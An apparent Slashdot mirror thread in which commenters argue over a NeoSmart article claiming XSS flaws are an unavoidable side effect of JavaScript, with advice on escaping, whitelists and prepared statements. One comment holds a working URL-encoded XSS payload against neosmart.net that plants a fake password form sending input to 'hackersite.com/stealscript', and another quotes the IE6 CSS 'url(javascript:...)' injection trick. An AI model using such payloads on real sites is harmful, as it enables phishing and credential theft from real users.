Slashdot Mirror
XSS Vulnerabilities Reviewed and Re-Classified
An anonymous reader writes "Security Analysts at NeoSmart Technologies have revisited the now-famous XSS-type security vulnerabilities and attempted to re-classify their status as a security vulnerability. The argument is that XSS vulnerabilities are not a mark of bad or insecure code but rather a nasty but unavoidable risk that's a part of JavaScript - and that even then, XSS 'vulnerable' sites are no less dangerous or vulnerable at heart." Are they unavoidable, or just a symptom of lazy coding, or both?
XSS is not the problem. JavaScript is (just for the record, at NeoSmart we feel JavaScript is more of a headache than it is a life-saver..), and XSS is but a result of the (many) inherent security holes in JavaScript and not in the package itself!
That quote really says it all. The basic argument seems to be very simple: Javascript Sucks, Ergo XSS Vulnerabilities are inevitable. That's about as accurate as saying that if Chewbacca lives on Endor, you must acquit.
As someone who's had to wrangle plenty of Javascript, I agree that it sucks, but I disagree with any argument that security vulnerabilities are inevitable. These days, they seem to be more a product of adding features without thinking about the security implications (Hey, let's allow email viewed in Outlook to run scripts!) than poor implementations of those ideas. Although implementation problems play a part: You're busy coding the nifty new feature, you get to a point where it works, and you happily go and check it into CVS oblivious to the buffer overflow you've introduced.
Fundamentally, there's no such thing as a computer error, only a series of human errors buried deeply enough that they appear to be a computer error (with one exception, that of the expected hardware failure).
I am officially gone from
Is it just me or did this article not make sense. The information is not presented logically, and it seems to contradict itself. It is vague about details. Is Javascript the problem, or is it XSS, or is it bad users, or is it site owners, or hackers exploiting XSS? I still don't know.
Both, in different amounts depending on which scripting language you use.
It's impossible to write perfect software - not even NASA can do that.
On the other hand the languages aren't much help. PHP for instance allows you do to stupid things with user input variables. Depending on how your scripts work, you can see no errors for months and then all of a sudden half your database or site gets deleted. Great fun, that.
If I recall correctly, samy exploited MySpace (there's a link somewhere above if you never heard about it) by taking advantage of the fact that IE6 will execute Javascript: urls in CSS url() attributes (IE something like this:
background-image: url(javascript:codehere
Something like that at least. And of couse if you allow HTML tags with attributes anyone could stick a style="" on it and inject some javascript... in theory anyways.
I read somewhere, and I agree, that the best solution is to strip ALL HTML and use your own tag set (most web forums are way ahead in this department). If you do insist on allowing a subset of HTML, use whitelists to define allowed tags and attributes etc, instead of blacklists... because with a whitelist, if you leave something out, oh well someone can't use a tag they should be able to, it's more restrictive than it should be, they file a bug report and it's fixed. With a blacklist if you leave something out, it's a potential security hole.
I should hope there are differences between my situation and XSS attacks. They're seperated by the better part of two decades of advances in computing.
Nevertheless, many of the fundamentals were similar:
1. The client (terminal emulator) allowed the server (BBS) to download and run code.
2. A BBS expecting a post (text message) received machine code from a user instead.
3. The BBS sent that code to the next viewer expecting a text message.
4. The viewer performed undesired and unauthorized actions as a result.
The biggest difference is that today's crop of programmers keep insisting they'll find a way to secure the scripting functionality while I gave it up for bad right away.
Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
Click on this link for an example against CitiBank
CitiBank Exploit
well how about that.
% 3Cbr+%2F%3E%3Cimg+src%3Dhttp%3A%2F%2Fwww.alan-alda .com%2Falan-alda.jpg%3E%3Cbr+%2F%3E%3Ch2%3EWelcome +to+the+Alan+Alda+fanclub.+Please+enter+your+passw ord.%3C%2Fh2%3E%3Cform+id%3D%22searchform%22+metho d%3D%22get%22+action%3D%22http%3A%2F%2Fwww.hackers ite.com%2Fstealscript%22%3E%3Cinput+type%3D%22text %22+name%3D%22s%22+id%3D%22s%22+size%3D%2215%22+%2 F%3E%3Cbr+%2F%3E%3Cinput+type%3D%22submit%22+value %3D%22Submit%22+%2F%3E%3C%2Fform%3E%3Cbr+%2F%3E
http://neosmart.net/blog/index.php?s=%3Cbr+%2F%3E
Note: if you are actually a member, please do not input your password. This is merely an XSS trick demonstrating a total lack of vulberability, sloppy coding or naivety on the part of neosmart.
Uh? SQL Injection is trivial to prevent, just escape your user-provided content (most languages do it automagically for you if you use prepared statements btw, and by "most languages" I mean to say "just about every language but PHP before mysqli_ and PDO")
XSS, on the other hand, relies as much in your lack of escaping as in browser-specific "features" such as the ability of MSIE to execute arbitrary Javascript code embedded in CSS.
XSS is much harder to prevent than SQL Injection.
Which does not mean that it should ever be classified as "unavoidable" (it's not) or less dangerous than SQLI (it can, in fact, be much worse)
"The way we can tell it's C# instead of Haskell is because it's nine lines instead of two." -- wadler